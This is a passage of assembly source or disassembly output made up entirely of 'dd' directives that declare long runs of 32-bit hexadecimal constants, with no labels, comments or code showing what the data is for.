		dd 20A9AF2h, 0F4686A6Dh, 8214B9DFh, 88B4F360h, 0F03CC041h
		dd 4B5AF8AAh, 7C182Ch, 0B2DBF044h, 0F295C9B1h, 9F45D003h
		dd 0C54EFBFEh, 6C235C2Eh, 0F869FB00h, 96616AB9h, 0EA108524h
		dd 56D8B01Eh, 82084B8h,	20536704h, 5CD1CCD7h, 0E21ED409h
		dd 44E00069h, 0B87E0798h, 0F9820DFDh, 62E815CAh, 3069F208h
		dd 0F1545708h, 211F8ADCh, 0ACD4ADE2h, 0C93B00ACh, 19D57C53h
		dd 10A502A4h, 0D83AC5B0h, 0FE000CF2h, 0F45465EAh, 5BA760h
		dd 891CAE83h, 5E4DFD6Dh, 0AD0A95F8h, 0FC14DF31h, 684CD387h
		dd 0FF0F8BD0h, 592307DEh, 0A7BAF248h, 0A9E0DFDCh, 82C85BE6h
		dd 18545209h, 0E4548090h, 0EC4F39E0h, 0F3079AFh, 3749EDA7h
		dd 544C6033h, 78239DC4h, 370308A3h, 0F40A3517h,	9560ACAFh
		dd 30C13DDh, 0CD1E86B6h, 3EB08AA3h, 6E140559h, 1C420A6h
		dd 0F716F555h, 0EC2DB7EEh, 948EC05Ch, 41CDE420h, 0D300084Ah
		dd 0C31F86F1h, 0F2A6C9DEh, 3284FEBh, 99043F0Ch,	583139AEh
		dd 0B991B9EEh, 9694FCh,	34F82263h, 132E1053h, 0BB2DFEF0h
		dd 40AC8024h, 4866F2B8h, 0F3007815h, 5D926C7Ch,	2590BDF5h
		dd 0C3121899h, 80710408h, 4CA2E264h, 0A038E58Bh, 1211003Ch
		dd 343D9D09h, 90FBE082h, 0A66D0F94h, 0B6E0C82Dh, 0DB58B96Bh
		dd 0D70A989Ch, 49809835h, 0DAAE5486h, 2F3B4A65h, 36FB10A4h
		dd 6DD12C3h, 0D41D90A7h, 0E012F374h, 845416E9h,	0F52901B4h
		dd 3DD90486h, 3EAFF88Ch, 0BC18EE40h, 9D84093h, 947C16F1h
		dd 2F045674h, 0A234Ch, 74CE8025h, 90EEED22h, 24B6200Bh
		dd 6E7C4040h, 80189E6Bh, 2B5437B5h, 725A9F8Fh, 4419300Bh
		dd 71C89190h, 3C281861h, 8EB95C0Eh, 0A4405F5h, 0B1749CF1h
		dd 6ED0201Ch, 0E0B902E1h, 0F8601E72h, 25187836h, 649D374Fh
		dd 0BA890391h, 4D626801h, 0D472D9h, 18AA72EBh, 8A3548h
		dd 1F4113BEh, 0B0E86197h, 205AB301h, 92DE1034h,	12F89C68h
		dd 98F6758Ch, 0DD3844D4h, 0C1F98B1h, 174CEEC3h,	99A00062h
		dd 78BD3D38h, 49EA869Eh, 3765841Dh, 32AF5300h, 315E82ADh
		dd 0DF184844h, 0ED21805Ah, 0AF21BC33h, 3B3D746Eh, 6180A394h
		dd 0B8C677E1h, 80720A35h, 23394200h, 7BAB506Dh,	7DEA0356h
		dd 0A76127FBh, 594837C3h, 5DF40C4Eh, 0F171133h,	0BECE4190h
		dd 0B679A0E3h, 21020930h, 419877h, 440B786Dh, 3BF5E459h
		dd 0B7950318h, 79B868h,	53CE6D06h, 0A7B68DEFh, 37648500h
		dd 4166194Bh, 0C8806060h, 0F0CFA448h, 0CA3FEE01h, 0BA074413h
		dd 21A90898h, 0F000B7C6h, 0E8E47035h, 7A476608h, 9F5314E6h
		dd 0DB009012h, 398D6FBBh, 15E05B32h, 0DFA83660h, 609C9237h
		dd 5585E979h, 0FE03E507h, 0E680A4A3h, 8D083073h, 74DBB21h
		dd 0BC0FDE00h, 0FCE77F98h, 151700CEh, 594AE26Dh, 321B4B28h
		dd 237866B7h, 4E019960h, 7BFEEE07h, 0A6888218h,	0D5070146h
		dd 9E76CB70h, 0CFE0EAD4h, 330004E7h, 0E257F68Fh, 18463839h
		dd 397C9F96h, 0D3028154h, 5B67C701h, 1F343D7h, 0EE4FCF08h
		dd 0F047C6ECh, 31C77A38h, 4E02F5DBh, 0EDEC84F6h, 0C541EB60h
		dd 11CCBE23h, 937C0009h, 0DEF7A441h, 0BF2C128Bh, 852004B4h
		dd 0D53E01BEh, 2C20A847h, 3393299Fh, 188BF1B4h,	0A6BE07BAh
		dd 0C32CB44Ch, 48238738h, 74F0198h, 1873FEEFh, 47A5888Ah
		dd 988B0701h, 7D960DB8h, 0D662988Ch, 48CF6F8h, 0BEC041EEh
		dd 20086294h, 90419671h, 318143Dh, 7E681F3Bh, 21865Fh
		dd 8929047Bh, 230EA6A4h, 0FDE60500h, 62C79DC0h,	724F0C78h
		dd 0F378D763h, 41ED048Ch, 62FCBEC3h, 9572200Fh,	5C094441h
		dd 5E12449h, 0B04096DCh, 0FECE2BB5h, 0DFB61284h, 80FC5F47h
		dd 0C14938EFh, 331999F8h, 5108C0C9h, 0F7892183h, 0E080F038h
		dd 2902AC09h, 2B90241Dh, 284449h, 5557D5E6h, 41DF168Eh
		dd 0A1E2671Fh, 93D8200h, 1B187A9Fh, 8894D60Dh, 61D06CF0h
		dd 1C8B549h, 19F1B889h,	0CF832D2h, 58E63E4Dh, 0D9445F86h
		dd 8358895Ch, 0E7790337h, 0ABC0AC2Ah, 0BF19A89Fh, 0B8B6036Ch
		dd 13823E77h, 1C8E023h,	0C14B38E9h, 88AF18E8h, 3800F187h
		dd 865C6AD5h, 50ADC394h, 40AA9C8Dh, 0FE0CF280h,	0D0A7A5BAh
		dd 2B8509EBh, 600040D9h, 77BFD534h, 44321E81h, 0C830AFF2h
		dd 0E24B0704h, 43F159C4h, 68518085h, 0A2082360h, 6FC2308Bh
		dd 8ADF4D0Fh, 2388345Ch, 38EA00CBh, 9A10C154h, 82504486h
		dd 6138F200h, 0D4D5E769h, 57031349h, 5950053Bh,	23B03AA1h
		dd 0A23200ADh, 0E9C85B14h, 55C71F00h, 7D233E1Dh, 6BA4A156h
		dd 30F8B5F0h, 438461Bh,	94AB81DBh, 0E22324E0h, 91A04501h
		dd 584E525Bh, 8C26F2F1h, 0C441EA02h, 331F4BEh, 41927D10h
		dd 0D5190F13h, 24D82E10h, 0B448604Eh, 8A4674h, 21F5D3F7h
		dd 7A72EDDh, 0F0F18DDFh, 2974D65Bh, 981EC53Fh, 3F707B1Bh
		dd 53D12C2Bh, 97DF809Ch, 3944DE27h, 395C572Eh, 582FD013h
		dd 5D008B23h, 62C9A19Ch, 0AE3001D0h, 9182FF13h,	402421A8h
		dd 71EAF190h, 9010A664h, 30475482h, 3FF8F0CDh, 0AE22BA46h
		dd 0F0B5C400h, 64397D9Ch, 0DA0401E1h, 0FDB41018h, 59307443h
		dd 0DE4C8A5h, 56EEA960h, 0B88C3950h, 4843C283h,	950A1Ch
		dd 1566E2Dh, 4D5B3627h,	0D14BBECh, 28A897EAh, 0C219D3C9h
		dd 1EA866B6h, 7AE10476h, 0AFF0600Eh, 0D12ED401h, 584F38E2h
		dd 0CF27462h, 374AF30h,	2C62102Dh, 0B3BB8309h, 705087C3h
		dd 28CCA9Ch, 0C15538EBh, 53199A18h, 38F38510h, 0B05D5F00h
		dd 0C7DDBEA3h, 45F8DF9Eh, 0AB9410Bh, 0D62C4898h, 0B283AF05h
		dd 14C10714h, 95F02DE7h, 0BF050491h, 0C58AFF41h, 9181D82h
		dd 0C4227DD0h, 0F0E66DFBh, 9102F746h, 9CBECF41h, 76004CC7h
		dd 5F2E4199h, 357146h, 43586BB1h, 2D4ABBC4h, 1567541Fh
		dd 0BE311AD8h, 81B731C5h, 422639F0h, 0EF30F1C8h, 0BEC11141h
		dd 800B88ECh, 53419770h, 14008F1Dh, 0C85FC586h,	107BB31h
		dd 32E4E38h, 300ECB02h,	0EF51166Ch, 950420D6h, 74A048Ch
		dd 625BFEEAh, 42BA208Eh, 0BEE24B07h, 0C61B1501h, 6BC78141h
		dd 5FF4E7C5h, 0FC00E8Bh, 218148Eh, 0BC00DE8h, 74F779E6h
		dd 0BAA200C6h, 89D0FD14h, 0FC001FB7h, 0E9BD815Fh, 0F8061D08h
		dd 0F32C307h, 3F764B85h, 0D158730h, 880EE956h, 0CA00E0D2h
		dd 69383034h, 38EB5B3Ah, 8685E412h, 0E85FF5Eh, 57036A2Bh
		dd 3B0E03E8h, 40C35F20h, 4247C89h, 8446681h, 47002116h
		dd 279EC357h, 37B58BB3h, 61482599h, 9F037DBDh, 3028FF0Ch
		dd 0E130897Ch, 9951932h, 563CA112h, 0C3725E18h,	11748923h
		dd 56460017h, 0F23982C3h, 8C0F1864h, 81661B05h,	4A31CE0Ch
		dd 8C515690h, 11C35939h, 15884C89h, 0C3514180h,	5F8ADB1h
		dd 0D3EC7DBEh, 238A3A4Ch, 0D1390115h, 4009820Fh, 29FA8B4Ch
		dd 42649D58h, 32591492h, 0C3558880h, 8991C35Dh,	45070E6Ch
		dd 8068C355h, 13E894B3h, 1FC819C0h, 0EF0BCAEh, 0B5920DEDh
		dd 2591005Dh, 2ED2F797h, 0F776A00h, 8B5EF6BFh, 527AC8F8h
		dd 91C35AC3h, 19185489h
		dd 524288h, 0EE17FDC3h,	89DCFBA3h, 3063B571h, 8E8C8h, 9953A529h
		dd 0D1212DEEh, 0BDE69A50h, 78039128h, 5B1C5346h, 5C898AC3h
		dd 534370AAh, 0AF2C314h, 0B6EE09F0h, 0FD38026Bh, 0CF5051Ah
		dd 2514F9B0h, 0FE965C6h, 0C5F03Fh, 7DCAE7Fh, 9DE6541Ch
		dd 0AD77E1E6h, 33E9FA07h, 1818FFF7h, 8960CBCDh,	1BA18D1Ah
		dd 51D78F0Eh, 0C5950906h, 61001813h, 6A4FEF81h,	0A4E9681Eh
		dd 1A8600F7h, 0B4E3F2FEh, 18195F7Ah, 50F6C18Bh,	0C3725818h
		dd 11448923h, 5040031Bh, 760DC3h, 10ECD334h, 0EB5E5254h
		dd 625046Eh, 90B0BE9h, 0E676532Ch, 72DA1780h, 8901E198h
		dd 0DED3E781h, 9F4005BDh, 896E9CFh, 421858Dh, 88009A2Ah
		dd 0F18B90F7h, 1214BF50h, 541ABAACh, 1DE882A3h,	0A218008Ch
		dd 0D1C77A8Ch, 0E22BA7C0h, 0F87B27F8h, 2618FD4h, 0DE640684h
		dd 0D282BBE8h, 0D20D01C9h, 0ED20F7D4h, 0E6C590FAh, 2628017Dh
		dd 7AA39FDCh, 0B9814054h, 35053937h, 5C0835Eh, 1C23492Eh
		dd 0CB6F1200h, 770545h,	66C1F563h, 5033C8BEh, 0C0405348h
		dd 3CA06C15h, 2DAB00B3h, 5626025Ch, 1331B1E7h, 2404664Ch
		dd 1DA28233h, 716E30h, 0BD4A5173h, 953F815Dh, 2511E930h
		dd 575AF14h, 0C3A8DEA4h, 85C1C0D9h, 501F5797h, 76B476B0h
		dd 1C88948Eh, 0E0E601C0h, 91550E9Eh, 816F5EDDh,	54F23623h
		dd 0F3A7589Eh, 50601744h, 67585A68h, 2A391610h,	1A234C3Eh
		dd 63CE680Eh, 0C52814E7h, 0AA008B35h, 49F14298h, 8D3400ADh
		dd 9F7D4724h, 4AE6ED1Ah, 35169DF2h, 4E3B2095h, 0E50B1523h
		dd 11C80E9Bh, 4D3FF13h,	1304A5F9h, 1BC1BB04h, 188887CFh
		dd 2E4C2FC0h, 0F568017Ch, 35858B60h, 0B1290327h, 51342CB5h
		dd 878949E9h, 0A047E828h, 920BED15h, 17009097h,	3CCF90DEh
		dd 71228631h, 0F9BF2C01h, 23856038h, 300AA6Ah, 275EFB15h
		dd 1F9DF3h, 0BE34C82Dh,	0E85B968Dh, 0ED311260h,	282548h
		dd 7E5FF0FEh, 0FF01BFAFh, 410B5B79h, 98A87431h,	80B587h
		dd 0AD331430h, 1B4309C6h, 3C1DD532h, 9DA4E05Eh,	2D025DE5h
		dd 2F752076h, 50E38138h, 84B98F59h, 298AEA24h, 5508192Ah
		dd 0B61050Fh, 99A6C2DBh, 4CF85726h, 49A0B210h, 0AF001744h
		dd 5BA2C1DEh, 98EEA373h, 0EDBD1424h, 7662A8F4h,	9D292784h
		dd 811A11B1h, 0F03BA54Bh, 313593D8h, 0C71F7BE9h, 0E3344685h
		dd 6DD69CE1h, 66E93520h, 235C3A79h, 7E300116h, 62890F7Ah
		dd 1A8B4C78h, 665E077Dh, 25790371h, 0C29041CFh,	490812F1h
		dd 2D25A44Dh, 0F9400F4h, 0D816C6F0h, 9E29CE5Dh,	0BE80F58Dh
		dd 4C097ABBh, 0FF231C81h, 0B3D3B9FEh, 613016A2h, 687E79h
		dd 3C9F35C6h, 0DB8C665Ch, 1CD1C991h, 0CB1CB218h, 1B822E9Eh
		dd 41182AE6h, 5112073Fh, 0C0E7B440h, 0F65F8604h, 148204C3h
		dd 5D8BFAEh, 0C275A6B5h, 3060F27Fh, 95882739h, 42314251h
		dd 301BE28Eh, 9E005B5Fh, 193AB7BEh, 2E8589B5h, 40191361h
		dd 905AFBC7h, 50605703h, 0C3310F52h, 9FBAF058h,	5F613E6Dh
		dd 0F3BF1A60h, 6060926Bh, 0FE07BE24h, 2E616571h, 0C107DB90h
		dd 0ECA5251h, 0AAF4B7DDh, 0BFC4027Ch, 12ACF8CEh, 1FF2C4C0h
		dd 4793E8E9h, 99C8E92Eh, 465EB5AEh, 0AD8A0218h,	60B563B7h
		dd 41419522h, 11124219h, 45A8C020h, 553D00C4h, 0DAB13CBEh
		dd 0AC004C15h, 0BC174B70h, 59615A58h, 0B3E88DB0h, 10DA6A04h
		dd 0AD8E70E6h, 96C01888h, 2527F7D2h, 0D52FE902h, 8DE0C22Fh
		dd 30182DEFh, 0F5208C98h, 0B503132Eh, 0E4984509h, 0C4869B71h
		dd 13842B97h, 7610C1CCh, 44FC00B4h, 801CF398h, 0E73A3951h
		dd 2C0F847Ah, 23C8E9DAh, 220B0024h, 61344AFEh, 0F30A8B5Eh
		dd 82D8B60Fh, 9164674h,	1DBC0F5h, 0E1BEF661h, 40AD9B20h
		dd 7B99BA12h, 0C96FC392h, 204FFC1Ch, 0E8C1F90Bh, 80F03704h
		dd 0D697CEF4h, 884D0F75h, 2BC984C7h, 0E2F76601h, 1243DE8h
		dd 6599A8A4h, 0EFF07CC8h, 8ABC0008h, 0CEE74DD1h, 3D1636E0h
		dd 7410655Fh, 0B5890428h, 5E033191h, 0BD90D82Bh, 12D211A1h
		dd 229315C3h, 0E9A12932h, 16B32E9h, 39468A1Bh, 309F97FEh
		dd 40F7AC31h, 222DA9DAh, 75278001h, 0F52F6BACh,	914C3C4h
		dd 5AE5F044h, 8B500280h, 0B0993FEh, 0E52B9DBDh,	0F1103B1Bh
		dd 0DD1DA415h, 3E0140F8h, 0CEA8185h, 8D311FB1h,	45100555h
		dd 8021DB98h, 10B9956h,	9C121693h, 72B51C53h, 0EA845EA3h
		dd 0DF45400Ah, 0CDD5CBh, 99A55154h, 358D2978h, 59B0159Ah
		dd 5A9DA1A2h, 94801B11h, 1EB1D83Ah, 0A537E600h,	830F613Ch
		dd 1E02585Dh, 4D8C14F8h, 0F502E4CAh, 518529A4h,	7140FB4Ah
		dd 0A882144Dh, 7060F8B5h, 3A47D481h, 98C872ADh,	80249BD3h
		dd 56E72521h, 8E835876h, 0D7E10603h, 0CEF48B11h, 0C11688D5h
		dd 248E0AA0h, 0A8820B93h, 467491C2h, 0CAB1C1Ch,	3548DDC0h
		dd 0B0D611EEh, 1D412283h, 4F82C0A2h, 0A00A17C5h, 0CB816000h
		dd 62B4DB98h, 25B9307Eh, 0FC586101h, 5DE924A8h,	956E07Fh
		dd 0C98899F0h, 3512F77Eh, 8604FAC2h, 0B9051A1Dh, 0C82ACF07h
		dd 0B08EC01Bh, 0AC05ABA4h, 6098D741h, 985A804h,	23DFBF00h
		dd 611C4674h, 813FC183h, 0FD93BF0h, 0D7A81486h,	0F7A6B0E9h
		dd 0BEB3CA9h, 7BA4C1F6h, 0CC2E35E1h, 33011823h,	1E8942Dh
		dd 2E927472h, 31B23B4h,	0E05169B1h, 0A3D2AAB0h,	0B5235B09h
		dd 2B38A201h, 0E1E06DC3h, 0D9A2D974h, 80982C2Ah, 0FAB463A8h
		dd 3D37000Eh, 0A954C516h, 800E257h, 667C2C59h, 26B533C7h
		dd 8F1C26B9h, 0D3F2343Dh, 0CF8545C5h, 0C01D8864h, 40177FC4h
		dd 748EDB00h, 29F2E84Fh, 0F285599Dh, 691A205Bh,	0CCE33549h
		dd 0E30226C9h, 9AA01AC8h, 21F161C7h, 97FD1C14h,	120C6FC0h
		dd 0F51C171Fh, 836FD892h, 6F67BB00h, 0D3301596h, 16360B48h
		dd 0D827A5h, 0D1220064h, 45531115h, 1300EADDh, 0D520BDFFh
		dd 3085C754h, 9B34339Dh, 7E4B8127h, 0C800DA6Eh,	0D1B24CF3h
		dd 0FF981B05h, 0B0072520h, 1DF85E07h, 63BE6CFCh, 16CC4D9Dh
		dd 4526EECFh, 0AC3AFCB0h, 411E009Dh, 80DE81D1h,	17592FDBh
		dd 0EE0FFA19h, 0E830D9C4h, 93530B0Ch, 88F300C4h, 0AA5C9513h
		dd 72C8CE5h, 0BEC0CD5Eh, 5998FB94h, 0EC9FCC7Dh,	0E384034h
		dd 3400AA45h, 2001E6D0h, 1DDA29h, 0B3B77DEFh, 0CB6A0AB4h
		dd 330C904Eh, 58BF9330h, 0B972E1F9h, 1BC98B01h,	0F44096CFh
		dd 93880D33h, 0B8387855h, 154E598h, 0F75B8BD7h,	1523E72Fh
		dd 82C9A509h, 50929D6h,	23242EF5h, 283B0F1Dh, 7405F0E0h
		dd 65025B5Ch, 0C1BD09A2h, 28E2C41Ah, 2B061869h,	0D89F1901h
		dd 0C1133B34h, 11305015h, 667B1Bh, 0B74EA44h, 0EC2F2C52h
		dd 9410AC13h, 58DFE2C8h, 5100C524h, 9035E212h, 59241956h
		dd 0F3178A23h, 0B46E8C17h, 10139501h, 315EFC52h, 0E1124144h
		dd 86E9002Bh, 0EEABCF6h, 0D11725BDh, 204DB9h, 0FEF6B70Fh
		dd 0DC1D9EC1h, 0CBBF190Bh, 9BC5C6FCh, 4AE57814h, 27A1C90Bh
		dd 0A034E650h, 812AD989h, 0D4D8785Eh, 7446C0B0h, 0FAA0A407h
		dd 4BB50065h, 0EBFBF09Ah, 0A8011F72h, 9325558Ah, 22F8BE50h
		dd 5E293B91h, 6F3BBCF8h, 7E3AB5C1h, 0B70EAD08h,	6F7A0086h
		dd 4876AD63h, 5C4B4DFCh, 0B5035B30h, 6334181h, 0E51ECED6h
		dd 12E2101h, 117405DEh,	0E0B3323Ch, 0BE0390E1h,	38A50CB9h
		dd 8D89B850h, 6AFCA93Dh, 1CB29863h, 1475B30h, 9E56DFFAh
		dd 0A8527473h
		dd 6D4AA848h, 53CC0216h, 94BDF829h, 21992D05h, 20A17150h
		dd 61810790h, 5D3A330h,	0F0289CBFh, 5807E31Fh, 802538Fh
		dd 270C39BDh, 0E4B492F8h, 0A545EF59h, 127AEE7Ah, 30DD025Dh
		dd 0F4AB8CEDh, 474EA500h, 5C65B577h, 455218DAh,	2CD1FCE6h
		dd 86615AB3h, 810001B4h, 0F809E1E6h, 0C0600B18h, 5B4053B9h
		dd 9CAC40E8h, 0D46CA93Bh, 0FC00C071h, 66CC3D65h, 1A9957h
		dd 5A5956A7h, 799D8B61h, 168E034Bh, 0FDC01AC8h,	144259C6h
		dd 0AC082FE8h, 9C2EE117h, 4BCF917h, 508FBF92h, 75C01988h
		dd 4C8EEE28h, 0F304F7D1h, 93BD8D01h, 0B2AB8347h, 15F22182h
		dd 0E3965170h, 0B01964F4h, 5F514102h, 493392E9h, 8E301AF2h
		dd 0DA8B04EDh, 0C111ABD7h, 518E544h, 0B6BD9686h, 0A19D613Fh
		dd 0E82C0626h, 4FE98015h, 956F87D3h, 3805BA14h,	0A83D2F9Ch
		dd 7326D980h, 64B5339Ch, 0D241B429h, 2E4E8DA7h,	2193597h
		dd 8F0FFBFFh, 4C6E518Bh, 0D8506CBBh, 0EC48026Eh, 7CE7DB37h
		dd 2EF9E40h, 22180948h,	2FBEF604h, 5A087829h, 304DEB3h
		dd 0E9516008h, 100A1BDh, 0C485192Ah, 0BF0B665Ah, 0C4613E76h
		dd 4414558h, 0B7C2C5F6h, 0BF057437h, 5448786Ch,	0F4C23684h
		dd 1737CAF1h, 801A1152h, 0FD4DB7F7h, 226C2A6Fh,	75800D86h
		dd 9D4BB0E9h, 36E4F264h, 316F7EF4h, 9DD470E6h, 1C786D26h
		dd 1153BD89h, 243685C9h, 0B938E0F0h, 90AA1902h,	79CCF0F5h
		dd 30ED259Dh, 643AEBCFh, 0B14F00E2h, 5D4D97CBh,	0F8069591h
		dd 820FC38Bh, 833CE121h, 0F659124Eh, 0F5D0E7B7h, 132B0A5Ch
		dd 21E950D8h, 0C8077CE2h, 4006BB3h, 0C3910346h,	5797490h
		dd 89CC3305h, 23FD3B1Ch, 3AE0416h, 803BA8F9h, 0AC9C53Dh
		dd 0B7DE096Dh, 47662C5Ah, 39401AB6h, 3A018187h,	0D702A929h
		dd 277CBE53h, 13BA5359h, 1683AD8Dh, 9F9B85B0h, 3B0E36C1h
		dd 0F74B2003h, 24544A24h, 1D683119h, 0EC592422h, 814D0F96h
		dd 0E4484F90h, 0D5CD6B4Ch, 0C1F14A40h, 0BEF70CF3h, 0B38D44EEh
		dd 947B3D5Eh, 33580503h, 0B1C5B589h, 0FCF73D06h, 96ED04DBh
		dd 85E301FBh, 0D268250h, 50A9B74Ah, 27700CD3h, 0D190952Ah
		dd 0A5010C35h, 967F3D16h, 0F1F83F65h, 0E710A0E8h, 0E40900C1h
		dd 37C44795h, 904C1C23h, 5EF71221h, 11BF9140h, 9076EC75h
		dd 0B5091677h, 58174B31h, 0D4C0AA4Dh, 7C45185h,	0E1152109h
		dd 97852EBFh, 4A08B40Ah, 0D9A1C28Ah, 13798BCFh,	27A1EB4Ch
		dd 0FB8B1002h, 60C14883h, 28C19ECh, 47837D63h, 0E2D24812h
		dd 290B0545h, 0D0C01B88h, 0B41B74Bh, 0B863CCA8h, 73470362h
		dd 11671744h, 202AC01Eh, 20417115h, 2AB4A30h, 6DE0BEDBh
		dd 2BD92F0Dh, 2462A111h, 4CCCF381h, 0F920FAB0h,	0DB5B4A09h
		dd 0CEFC803Bh, 0CD776Fh, 0F2C82B6Eh, 6D28BE5Dh,	9D72B32Dh
		dd 801D9116h, 40287764h, 4F220402h, 0A0F24E56h,	825B5798h
		dd 232F0162h, 84731E9h,	6438A0FDh, 22B02D8h, 0F8BF0FABh
		dd 14513740h, 0C2C08B80h, 74A1DF82h, 7EA9D3D1h,	0B0181971h
		dd 4E51AF05h, 0E9C4EB7Bh, 3F06E5ADh, 783680D5h,	2715D921h
		dd 7D81869Eh, 16209009h, 665FDD4Fh, 6F8DB1DFh, 0FDD0E21h
		dd 0DB3D752Ah, 0A37F8036h, 0B47189Ah, 0FA8B40D1h, 0E7813C30h
		dd 0D4E1531Dh, 183A90D2h, 6A001623h, 0BD2397ADh, 7F029F69h
		dd 2DD4B533h, 40BE6682h, 4EAAD031h, 8032DE29h, 37A17998h
		dd 0BD0B0976h, 0F34B2E59h, 0F20D5CE7h, 30821197h, 1F02E4C4h
		dd 43A85Eh, 0BCDC2A6h, 23014F35h, 9D893AB4h, 3C9210E5h
		dd 48976F5Eh, 0EE6F0053h, 0ADA3482Bh, 0F87729B6h, 19147126h
		dd 312A9D78h, 780B93CEh, 38004C41h, 8E1B06C5h, 0C59E67B4h
		dd 21080DE8h, 2B316D98h, 7C6BA924h, 0DABFA20Eh,	5D33C4A0h
		dd 364F5167h, 20741736h, 0BDEC1C69h, 2D270D20h,	7142E3E9h
		dd 1B117017h, 4FAB6D87h, 0F49272E1h, 0E96F7182h, 0B52B0002h
		dd 8B4291DDh, 25EC14E1h, 2332CC16h, 0CA0168A8h,	0AA9C3CBBh
		dd 8B7A30A5h, 3D94FCB0h, 0B0BD8F80h, 0B45F54FDh, 0B85165ACh
		dd 9F094E28h, 709F7B5Eh, 662D7E84h, 10A51BA1h, 3B2FC958h
		dd 50FE9690h, 17A5A91Dh, 9F189158h, 90BBAE40h, 4EF81BCh
		dd 4F08FC38h, 0A24CB36Ah, 83583019h, 8836B072h,	0B44A9803h
		dd 9A01DC58h, 0B50B9467h, 0AA781825h, 53120988h, 5FFF4C05h
		dd 0A10F8F16h, 0AC5A7521h, 0E0940565h, 0A1F922BCh, 0F0A326CEh
		dd 0B8D73EDh, 9FE2CC79h, 5715A141h, 598562D6h, 50617548h
		dd 3527F8B0h, 623309A5h, 0F513A407h, 27FD1894h,	8EB9DAD6h
		dd 8E5F80FBh, 2D5F230h,	89BDF1EEh, 0F346D18Dh, 3A16A12Dh
		dd 71C273FFh, 21C940A9h, 2B1C0173h, 0F1718529h,	0B520D3FFh
		dd 0C1194849h, 0A817ED85h, 0B9AB52Bh, 9BB1FFC0h, 0F709F5C1h
		dd 0A29D8589h, 0C152605Ch, 5B108DBCh, 2B4820Fh,	0E961FC81h
		dd 506C07B2h, 28423FB2h, 0BDE2FDEh, 0F972CDD3h,	0B7D74781h
		dd 0F23C6C52h, 0B7C02E48h, 0F99D8BF0h, 1A7A2E5Bh, 603A8C00h
		dd 71ACFBD3h, 9A5F502Dh, 0DC127C16h, 0D6F1790Bh, 0B1BB695Fh
		dd 6A27396Dh, 1DC49AE7h, 0D1365C60h, 0A72D82ECh, 827D6214h
		dd 0DA20A94Fh, 0A5E213Bh, 0F0F31793h, 88903220h, 0B92CF120h
		dd 0E5163130h, 11016D21h, 8CDE0A5Eh, 16371325h,	5930408Ah
		dd 0E11BAC03h, 159D2910h, 8D76EA9Ah, 0BAC7D6A2h, 28631CC4h
		dd 803F5C01h, 50178F5Ah, 10BDD888h, 97C9BA27h, 9C1411FFh
		dd 0E4799027h, 5A040EFFh, 0DA807F3Bh, 0D6F77B6Ah, 0ACF01506h
		dd 657C5114h, 0A15EFD49h, 4F312CD0h, 5972A423h,	87BC064Fh
		dd 0E622A300h, 0E2B8F103h, 0DAC54B93h, 0C017C886h, 0FD90E28Fh
		dd 4B059EABh, 8E0F5150h, 7AA27F13h, 48CFB603h, 4AC894B7h
		dd 23251718h, 292D485Eh, 2FD4ABDh, 3CCE93Fh, 97D072F3h
		dd 4F1897B0h, 0B0111FDh, 9F0A93F9h, 97E091C1h, 0E65F0003h
		dd 2C8EBF70h, 0E40258E2h, 0E1BD3171h, 1EE2D116h, 2C5D4903h
		dd 35276AE5h, 608B0E3Eh, 0B2B7275Dh, 0C7D3F91Eh, 5DA67EC5h
		dd 0C93860E1h, 62F10353h, 0D98576E7h, 0FB9E90C4h, 14715121h
		dd 3CB8ED18h, 29D82B19h, 93001762h, 8A5C0F50h, 7960897Fh
		dd 97000B7h, 56195DC5h,	61B42000h, 0FDEDA0C3h, 60893CCFh
		dd 0F931779h, 9DAE388h,	66B28FF7h, 36F54BBEh, 0C60C249Bh
		dd 32B0437Bh, 8EF15A8Bh, 0C019C884h, 2C4032A3h,	0BE3A3507h
		dd 12409F6h, 0D7DB1784h, 0DD6955C0h, 0B62EF4E6h, 5253FE8h
		dd 0F3A31574h, 0CB9E4A22h, 1A467Ch, 289EFDE2h, 0A1CACEB1h
		dd 0BE1005C2h, 0B90212DBh, 39BD2B20h, 0A6704516h, 0DC00D62Ch
		dd 0A1728D42h, 2F9469FAh, 2F096A34h, 0E073DC53h, 12DCD3B3h
		dd 56F08BBAh, 81BD9B7Dh, 6BB8E070h, 16C3543Eh, 57A33220h
		dd 31691010h, 0C820A251h, 820FA21Ch, 901833Fh, 9B90702h
		dd 8B09B2D3h, 256FF2FEh, 7789D9BDh, 0F6591E9h, 3CC018C8h
		dd 16C702EFh, 90160E9h,	4A7A187Eh, 11D8CE48h, 9DBCD98Ch
		dd 0EE4487B4h, 1CF8C0A8h, 734C008Ch, 9A69D8C2h,	0F505C946h
		dd 699BD23h, 2EB430BCh,	9152383h, 8B54D3DEh, 0FE085B18h
		dd 6E2BF72Bh, 0B33A00B8h, 0D2E5F8C9h, 80BF0066h, 45D7817Ch
		dd 255A4B40h, 5662A162h, 8224F64Ch, 2D08EF8Fh, 5EE90E07h
		dd 77B12h, 0DA761F0h, 27BD0BD4h, 5FCC2B29h, 5D00677Dh
		dd 18A8CD2h, 1984E1Ch, 0A3FF59CDh, 29C08B1Ah, 28CFB8ACh
		dd 2D97E090h, 0F11A4CFAh
		dd 6D507C5Bh, 58737F2Eh, 0F758170Eh, 51A9904Ah,	7E4D0C43h
		dd 0F79BCACh, 0A8C983FFh, 41EC2DADh, 3E145DC7h,	20FE9A6Dh
		dd 5327F681h, 0CC245B27h, 65A0B679h, 4FF9A7F9h,	2B02946Ah
		dd 0F6CEA4Ch, 0F2C450DCh, 40796DF8h, 9BBD5129h,	0F51A1009h
		dd 66FC0120h, 5F307FBEh, 0F8B80929h, 0A8946D00h, 8C2A1229h
		dd 55DD6342h, 0F4226018h, 16C29805h, 0E294C080h, 0AC5100D6h
		dd 0FB749A87h, 0F0B05Fh, 77204F1Ch, 7DE24A94h, 32564C2Ch
		dd 23DC9804h, 4AAAB0C4h, 8CB59B5h, 61122E49h, 1423483Ah
		dd 0C51C1213h, 0EC2A4D7Eh, 54915CFDh, 911C0D13h, 122E1CAh
		dd 2029870Fh, 3D296548h, 4DB504D3h, 0B214E332h,	85283018h
		dd 7C38AD17h, 96E5BC12h, 94598DD8h, 0F8728780h,	88E815FFh
		dd 1B04A2C8h, 31B021EAh, 0EF8184D0h, 0A3CC042Eh, 0A4E95E42h
		dd 600F6B4h, 9622F376h,	5055D1E2h, 9BFE9BAh, 0FFFEB9F2h
		dd 0E406C6Fh, 54318D21h, 0CCFE8605h, 5516C28Ch,	9F7A194Eh
		dd 5A190907h, 0A76BC13Eh, 0A833558Bh, 83BF44B0h, 0DB90E176h
